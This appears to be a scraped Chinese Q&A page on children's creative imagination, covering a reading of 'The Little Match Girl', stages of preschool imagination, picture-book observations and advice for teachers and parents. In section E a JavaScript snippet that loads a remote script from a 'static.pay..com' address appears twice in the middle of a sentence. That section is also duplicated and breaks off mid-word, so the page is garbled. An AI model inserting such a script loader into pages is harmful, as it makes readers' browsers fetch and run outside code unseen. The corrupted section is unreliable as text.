A. 安徒生写卖火柴的小女孩故事人物形象,这主要是,创造想象
安徒生在《卖火柴的小女孩》中对这个可怜小女孩不幸命运描写的同时，也对这个孩子在饥寒交迫、孤立无助的情况下，对她的心理活动进行了细致描写，尤其是写她对美食、温暖和亲情的幻想。作家细致地描写了小女孩关于温暖的火炉、肥美的烤鹅、美丽的圣诞树和慈爱的奶奶这四个幻想片段，而这样的幻想，恰恰是当时资本主义制度下贫苦民众的难以实现其美好愿望，无法保障温饱的心理反应。而这样的幻想却有别于童话世界中那些铜头铁臂、青面撩牙、飞沙走石般的幻想式的描写，她直接取材于现实生活，是当时欧洲资本主义社会不平等现实的最真切反映，人物是随处可见的，故事是随时都可以发生的。悲剧的力量在于把美好撕破给人看，《卖火柴的小女孩》是对一个花季少女纯洁灵魂的摧残，这个可怜的女孩连最起码的温饱都失去的一瞬间，仍然保持着对美好情境的向往，这或许就是人性的本真所在，而作家安徒生恰恰是把这个弱小生命的凄苦和悲惨命运与她对美好情境的向往与破灭叠化在一起描写的，这增强了人物形象的艺术感染力。文章这样描写到“两腮通红，嘴上带着微笑”，在幻景中看到过“温暖的大火炉、喷香的烤鹅、美丽的圣诞树，慈爱的奶奶”，在幻想中和奶奶一起飞向天国去寻找那“没有寒冷，没有饥饿，也没有痛苦”的生活。作者把小女孩美丽的幻景与她面临的冷酷的现实叠化在一起描写，对罪恶的资本主义社会进行了无情的鞭笞。
B. 儿童最初的想像都属于 A有意想象B创造想象C幻想D再造想象
B创造想象
C. 学龄前儿童想象的特点表现在哪几个方面
3岁以前，由于孩子的社会经验有限，想象力是非常匮乏的。而过了3岁，孩子的想象力就表现出非常不同的特点。
3～4岁宝宝想象力特点
不再局限于具体事物
由于生活经验的增长，孩子的想象力能在这个阶段得到很大的发展，常被称作“自由联想”期，因为孩子的想象不再局限于具体的事物了。但他们很容易把想象与现实混淆，孩子常常会用想象来补充他所感知的事物，所以言谈中会经常出现虚构的成分，对事物的某些特征和情节加以夸大，家长如果了解了这一特点，就不必过于担心孩子“说谎”的问题。
想象主题不稳定内容零散
此阶段的宝宝主要是满足于想象的过程，而不是想象的结果。所以他想象的内容之间往往是无意义地联系在一起的，目的不明确，主题也不稳定。宝宝会根据行动发生的变化，而改变自己想象的事物，例如，孩子最开始要画一个太阳，当没有画得很圆时，他会说自己画了一个苹果。这个阶段的想象还有一个特点，对事物特征的想象不完整，例如宝宝所画的人只有头和手脚，而没有更多细节。
4～6岁宝宝想象力特点
随着知识经验的丰富，孩子想象的目的性和主动性都有了很大的提高，通常孩子的创造性思维在游戏中会得到很好的体现。
想象符合实际
与3岁多的宝宝相比，这个阶段的孩子在进行想象活动时，想象内容之间的联系更符合客观实际了，主题也更稳定，目的性也更明确。而且随着孩子语言能力的发展，能用自己的语言对想象的事物进行比较客观的描述和分析。有意想象开始出现，一般能在活动前明确说出想做什么，孩子的想象有计划性，并能按计划进行。
学会创造想象
孩子已经不再完全依赖成人的指示和描述而是开始根据自己的思维进行想象了。孩子的想象力发挥还是主要通过角色游戏表现出来，但他们会在游戏之前想象游戏情节、商定游戏规则、分配游戏角色，这都是孩子创造性想象力发展的体现，孩子的想象内容也了进一步的丰富。
D. 幼儿想象发展的特点为
（1）幼儿的想象常常依赖于成人的言语描述；
（2）幼儿的想象常常根据外界情景的变化而变化；
（3）幼儿想象中的形象多是记忆表象的极简单加工，缺乏新异性。
儿童都有一定的联想和想象能力，但是这种能力在儿童身上不一定都能充分地发挥出来。丰富的想象力并不是天生就有的，原因在于儿童的这种能力和其他能力一样，需要得到培养和训练。丰富的想象力是通过直接、间接的体验获得的。体验越丰富，想象力就越丰富。 而图画故事书作为文学和视觉艺术的完美结合，其展现的艺术和智慧能极大地激发读者想象的火花，其独特的叙述方式则既为幼儿的想象力提供了丰富的素材和美丽的平台，又对儿童的想象力提出了挑战。而正是在应对挑战的过程中，幼儿的想象力得到飞速发展。 我们的研究是在包括3～6岁年龄段幼儿的混合班进行的而且我们的观察长达一年之久，所以我们有机会了解随着年龄和阅读经验的积累，幼儿想象力的发展变化情况。通过对比分析，我们发现幼儿在图画故事书阅读中的想象力的发展主要呈现以下几个特点：
（一）幼儿想象的有意性逐渐发展
其实幼儿阅读图画故事书的过程就是一个不断训练其有意想象的过程，就是在头脑中循着文本和图画所提供的信息“有意识”地再现故事情景的过程。 这种想象要紧紧围绕着故事展开，在学前初期幼儿常常会被自己感兴趣或自己熟悉的但与故事联系不大的细节所吸引，想象容易偏离主题，但是随着注意水平的提高，心理有意性的发展，图画故事书阅读经验的丰富，学前晚期儿童想象的有意性逐渐增长起来，这从幼儿在听故事的过程中讨论的问题可以看出。大班幼儿提的问题一般是围绕着故事情节的发展，而中。小班的幼儿则会想到一些与故事毫不相干的问题。 （二）幼儿想象的内容逐渐丰富完整
幼儿最初的想象常常是不精确的、不完整的，以后随着认识水平的提高，精确性、完整性才逐渐发展起来。中、小班的幼儿只能就画面上的内容展开想象，而大班幼儿则能想到画面限于篇幅不能表现的内容。
讲到阿里巴巴看到强盗的画面（《阿里巴巴和四十大盗》），文字介绍说大概有四十个强盗。晓鸥开始数强盗，数了有十几个，但是晓博（大班幼儿）说不对，“有好多呢，后面还有呢。”我问他是否指画面没有画出来的，他说：“对，数不过来。” 而根据画面内容展开的想象，小班的幼儿一般停留在画面上有什么人、物，他们在做什么，这些非常直观的内容，而到了大班，幼儿则开始想象画面内容之间的关系、人物的心理活动。 比如在看图讲述《卖火柴的小女孩》中，中、小班的幼儿多是描述动作：“她拿着火柴，她在走。”而大班幼儿则似乎能理解画家利用构图所要传达的情感氛围，适时联想到主人公的心理感受，如大班有位幼儿说：“他们一家人暖和地在吃饭，还有礼物，可是小女孩什么也没有。”
（三）幼儿再造想象的创造性成分逐渐增加
幼儿阅读图画故事书主要运用再造想象。但是在复述故事时把故事轮廓补充完整，说出图中没有画出的意思和形象，或者是在表演游戏中，使故事中的人物变成角色，使口头的文字的故事情节变成具体的活动的戏剧情节，就具有了一定的创造性。
有时从孩子不经意的天真的讨论中也可以发现孩子的奇思妙想。《小象的大便》是孩子非常喜爱的一本书，每次讲到“河马说天空不拉大便，恶鱼说天空有时拉小便。小猴子说也许有时会拉大便”时孩子们就会想象天空的大小便是什么样子。 A同学说：“小便就是下雨，大便就是……冰雹。”“天空下的大便是冰雹”，B同学说“有我的头那么大。”C同学说：“没有。”B同学问：“那你说有多大。”C同学说：“大概就有皮球那么大。”
E. 怎样培养幼儿的创造性想象 儿童心理学
一、了解思维发展的过程。 要想培养幼儿的创造性思维的发展，首先应该了解什么是思维？思维是思索与判断的过程。在心理学上，一般把思维定义为：思维是人脑对客观事物间接和概括的认识过程，并且通过这种认识，可以把握事物的一般属性和本质属性，它是一种复杂的、系统的心理现象。随着年龄的增长，幼儿思维也随之发展：0～3岁幼儿动作思维为主在这个阶段，思维是依*感知和动作来完成的。孩子只有在听、看、玩的过程中，才能进行思维； 4岁幼儿从动作思维向形象思维过渡。他可以依*头脑中的表象和具体事物的联想展开，但是形象思维也占了很大比例。5～6岁幼儿形象思维占主导地位，但已经初步出现抽象逻辑思维。对事物的理解也发生各种变化，可以听懂大人的描述并可用语言对事物进行评 价。 二、 掌握幼儿创造性思维的特点。 幼儿由于生理心理的特殊性，创造思维也具有自身的特点。 （1）由于幼儿身心发展的限制，幼儿的创造能力和意志力都较弱，因此幼儿的创造活动不易持久，他们的创造愿望来得快，也去的快，常常是瞬间即逝，如果有成人及时的引导和鼓励，幼儿的创造能力就会向前发展。 （2）幼儿喜欢幻想，富于想象，他们的创造性思维常常是由创造性想象引起的，但他们的心理具有较大的随意性，受兴趣的影响较大，兴趣可以振奋幼儿的智力，激发创造的积极性，因此，教师要善于保持幼儿的兴趣和调动幼儿的兴趣。 （3）幼儿由于环境、教育、遗传等不同的作用和影响，他们的创造性思维水平是有很大差异的，比如有的幼儿擅长创编故事，有的幼儿擅长美工创作，如果这些幼儿的创造才能能够得到尽早的发现和培养，对幼儿的发展是很有益的，在一般的情况下，只要有环境和教育起积极的作用，幼儿的创造性思维都会有较大的发展，但不能根据幼儿的一时表现，就断言其创造能力的高下。 三、启发家长，重视家庭环境对幼儿创造性思维的影响 。 心理学研究表明，当幼儿产生了心理安全感和获得了心理自由时，最有利于他们的创造性的发展和表现。幼儿在家庭里一般不受拘束，他们在亲情的影响下，敢于摆弄家中的一切东西，甚至对父母的专用物品，他们也敢于探究，即使因此受到过父母的责罚，但过了一段时间后他们仍然会对未曾了解清楚的物品再产生探究的兴趣。另外父母的专业爱好、解决问题的方法、对幼儿的学习指导方法等因素对幼儿的思维能力都有重大影响。所以，我们应该经常向家长宣传幼儿教育的理论，介绍幼儿教育发展方面的知识和方法，让他们能够重 var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script); 视幼儿在家庭中的各种求异思维的表现，使幼儿所萌发出来的创造性思维能有充分的发展空间。鲁迅先生曾经讲过“文学家的孩子熟悉笔墨；木匠的孩子熟悉斧锯；军事家的孩子会摆弄刀枪。”这说明家长的职业及专业爱好对幼儿的兴趣有直接的影响，但这种影响还只是模仿式的教育。我们所强调的家庭教育因素，实际上是要求家长要重视幼儿在思维方面的发展因素。 四、抓住幼儿的兴趣，激发求知的欲望和创造的欲望。 托尔斯泰说过：“成功的教学所需要的不是强制，而是激发学生的兴趣。”幼儿在进行活动时，兴趣起了举足轻重的作用。当幼儿兴趣浓厚时，他会专心的研究，探索。从中发现问题并解决。兴趣又可称为“好奇心”， 好奇既是天性也是一种十分可贵的心理素质。因为好奇，孩子就会有探索周围事物的兴趣，并在探索活动中丰富和积累知识经验，发展创造性思维能力。儿童心理学家指出：凡是因好奇心而受到奖励的孩子，都愿意继续进行某种试验和探索，这既有助于培养孩子的创造性思维能力，又能增强孩子的自信心。因此，在日常生活中，要呵护孩子的好奇心。 此外，创造性思维更偏重于发散性思维，是一种从多角度、多方位探索问题寻找答案的非常规、反常规的思考方式，往往有想像和幻想成分的参与。 创造离不开想象，孩子的想象力可以开启幻想世界。只有在这种自由幻想世界里，创造思维才会萌发。因此，我们要鼓励孩子异想天开、标新立异，积极引导孩子大胆幻想，在条件可能的情况下，还应设法促使孩子动手参与活动，让他们在活动中去寻求答案。但要提醒幼儿不可脱离事实。 五、丰富幼儿的生活经验，在学习活动中发展幼儿的创造性 。 幼儿园的教育活动非常多，各种教育活动的内容不同，可以使幼儿不断产 一、了解思维发展的过程。 要想培养幼儿的创造性思维的发展，首先应该了解什么是思维？思维是思索与判断的过程。在心理学上，一般把思维定义为：思维是人脑对客观事物间接和概括的认识过程，并且通过这种认识，可以把握事物的一般属性和本质属性，它是一种复杂的、系统的心理现象。随着年龄的增长，幼儿思维也随之发展：0～3岁幼儿动作思维为主在这个阶段，思维是依*感知和动作来完成的。孩子只有在听、看、玩的过程中，才能进行思维； 4岁幼儿从动作思维向形象思维过渡。他可以依*头脑中的表象和具体事物的联想展开，但是形象思维也占了很大比例。5～6岁幼儿形象思维占主导地位，但已经初步出现抽象逻辑思维。对事物的理解也发生各种变化，可以听懂大人的描述并可用语言对事物进行评 价。 二、 掌握幼儿创造性思维的特点。 幼儿由于生理心理的特殊性，创造思维也具有自身的特点。 （1）由于幼儿身心发展的限制，幼儿的创造能力和意志力都较弱，因此幼儿的创造活动不易持久，他们的创造愿望来得快，也去的快，常常是瞬间即逝，如果有成人及时的引导和鼓励，幼儿的创造能力就会向前发展。 （2）幼儿喜欢幻想，富于想象，他们的创造性思维常常是由创造性想象引起的，但他们的心理具有较大的随意性，受兴趣的影响较大，兴趣可以振奋幼儿的智力，激发创造的积极性，因此，教师要善于保持幼儿的兴趣和调动幼儿的兴趣。 （3）幼儿由于环境、教育、遗传等不同的作用和影响，他们的创造性思维水平是有很大差异的，比如有的幼儿擅长创编故事，有的幼儿擅长美工创作，如果这些幼儿的创造才能能够得到尽早的发现和培养，对幼儿的发展是很有益的，在一般的情况下，只要有环境和教育起积极的作用，幼儿的创造性思维都会有较大的发展，但不能根据幼儿的一时表现，就断言其创造能力的高下。 三、启发家长，重视家庭环境对幼儿创造性思维的影响 。 心理学研究表明，当幼儿产生了心理安全感和获得了心理自由时，最有利于他们的创造性的发展和表现。幼儿在家庭里一般不受拘束，他们在亲情的影响下，敢于摆弄家中的一切东西，甚至对父母的专用物品，他们也敢于探究，即使因此受到过父母的责罚，但过了一段时间后他们仍然会对未曾了解清楚的物品再产生探究的兴趣。另外父母的专业爱好、解决问题的方法、对幼儿的学习指导方法等因素对幼儿的思维能力都有重大影响。所以，我们应该经常向家长宣传幼儿教育的理论，介绍幼儿教育发展方面的知识和方法，让他们能够重 var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChil
F. 学前儿童创造想象与好奇心有什么关系
21世纪是创造型人才施展才华的社会，社会上什么样的人才是创造型人才呢？探求未知世界规律和原理的科学家，塑造不朽光辉形象的文学家、艺术家，杰出的政治家、军事家，善于经营理财的企业家、发明设计新产品、推进新技术革命的工程技术人员，创高产的农民，搞革新的工人以及在各行各业中有所作为的人……都是创造型人才。创造型人才在各方面纵然存在着千差万别，但心理学家认为，他们大体都具有以下个性特征：敏锐的观察力、丰富的想象力、良好的记忆力、顽强的意志力、敏捷的思维力、准确的判断力；有较强的独立性、自信心、社交能力、应变能力；有改革创新意识，并且具有精力充沛、热情高涨、好奇感强、不怕挫折等良好的品质。
儿童创造力的表现
所谓创造力：是指人们在创造性解决问题过程中表现出来的一种个性心理特征。是根据一定的目的，运用一切已知信息，产生出某种新颖、独特、有社会或个人价值的产品的能力，其核心是创造性思维能力。每个孩子都有这种能力。我国创造教育先驱陶行知先生曾指出：“处处是创造之地，天天是创造之时，人人是创造之人”。凡是孩子原先不会的，而现在会了，就是一种创造；凡是别人没有想到的而孩子想到的，就是一种创造；凡是在孩子原先和别人的基础上做得更好的，就是创造。
儿童时期，好奇心强，没有过多的思想束缚，敢想、敢做，对周围新鲜的事物表现出浓厚的兴趣，爱提问、喜追究，“打破沙锅问到底”、“探究性的拆东西”、“自言自语做游戏”。这些听似“好笑”，看似“顽皮”的言行举止，恰恰就是孩子创造火花的闪现，大科学家爱因斯坦在回答他何以有那么多重大发明时说：“我没有什么特别的才能，不过喜欢寻根刨底的追究问题罢了”。有许多人才成长的事实说明，不少名垂青史的人物都具有顽皮、淘气、好问、好奇、勇冒险、敢尝试的行为特点，所作所为时常超出常规，如“趴在鸡窝孵小鸡”的爱迪生，“将毒虫子含在嘴里”的达尔文，这些“淘气”的做为，可能就是发明家、科学家最初显露出来的创造火花，这种火花一旦燃烧起来，就会成为永不熄灭的、探索真理的火焰。家长应注意发现孩子的创造力萌芽，保护孩子最原始的创造意识和创新精神，才能使他们的创造性得以持续和发展。就如儿童教育家陈鹤琴先生所说：“儿童本性中潜藏着强烈的创造欲望，只要我们在教育中，注意诱导，并放手让儿童实践探索，就会培养出创造能力，使儿童最终成为出类拔萃的符合时代要求的人才”。否则，这种可贵的创新精神萌芽，就会被扼杀在摇篮中，儿童只能在模仿顺从中长大，失去创造的机会、条件和信心，而最终很可能成为平庸的、缺乏独立见解的人，被时代所抛弃。
G. 儿童最初的创造想象是
儿童最初的创造想象是随心所欲的。
H. 为什么说创造型的想象作文是低年级儿童的最佳作文训练
因为儿童的想象力很好,甚至可以说,每一个儿童都拥有一个属于自己的世界.
成年人的思维焦点已经固化在一个框架内,想象力自然不比儿童.
I. 如何培养幼儿的创造想象能力
（一）注意创造合适的环境 1 .人们发现，当儿童在回答创意测验题时，喜欢用眼睛扫视四周，试图找到某种线索。线索丰富的环境能够给被试者许多良好的思维刺激，使他获得较高的分数。科学家曾进行过这样一次测试，首先把一群人关进一所无光、无声的室内，使他们的感官不能充分发挥作用。然後再对他们进行创新思维的测试，结果，这些人的得分比其他人要低很多。 2.环境包括空间环境当然也包括人文环境，幼儿与幼儿之间的交往也能促进幼儿创造力的发展。当教师抛出一个问题时，也许多个幼儿的答案比一个创造性强的幼儿的答案要丰富很多，世界上的每一个人都有自己独特的经历、经验、个性，以及许许多独特的价值观念。当幼儿明白可以通过不同角度来思考问题，这个问题可以这样回答也可以那样回答。久而久之，幼儿就会习惯用不同角度来思考问题。所以一个良好的交往环境也能更好地发展幼儿的创造力和想像力。 3.除了空间环境、人文环境还有心理环境。 （1）教师本身要有创造精神，创新意识，这是营造幼儿创造力发展的心理环境的最基本条件。 （2）在学习过程中，让幼儿具有自信心、有安全感、有自由感，是营造其心理环境的关键。 （二）训练幼儿的发散性思维 这是培养幼儿创造性的重要方式，教师要指导幼儿在思维的过程中突破原有知识的框框，充分发挥想象力，从一点向四面八方想开去，找出更多更新的可能答案。要允许幼儿标新立异和异想天开，得到不同的答案，寻求一问题的多种解决方式，形成创造性的思维方式。 （三） 幼儿探索的过程与成功的心理调试 让幼儿明白真理不是最重要的，重要的是发现真理的方法；现成的认识成果并不是最重 要的，最重要的是自然发展的过程。想使幼儿学会学习，就必须失败了重来不气馁，我们只有教会幼儿心理调试，用创造教会创造才能用创造性来激发创造性。 （四） 注重各类创造性游戏 教师要多给幼儿自由活动的时间和空间，不要过多干涉和限制幼儿，只有在自由自在的 游戏过程中，幼儿才能玩出花样，玩出智慧。如在幼儿掌握基本的技巧和规划之后，让他们去玩结构游戏、角色游戏、各种听说游戏、编故事、各种科学游戏等等。 （五） 运用积极评价 在儿童进行创造性活动时，教师进行积极有效的评价，对儿童产生创造性思维会起到激 励作用，要多鼓励、多表扬、多支持、多肯定、多容忍、多欣赏。评价中，教师可通过语言强化。如：你真聪明，你是一个爱动脑筋的好孩子。用动作强化。如微笑、点头、拍肩。用实物强化。如奖励一朵小红花。用特权强化。如让幼儿在全班面前展示自己的创造性行为。幼儿的创造性行为是不稳定的，教师只有运用积极强化给予肯定，才能巩固幼儿的创造性行为，培养幼儿的创造能力。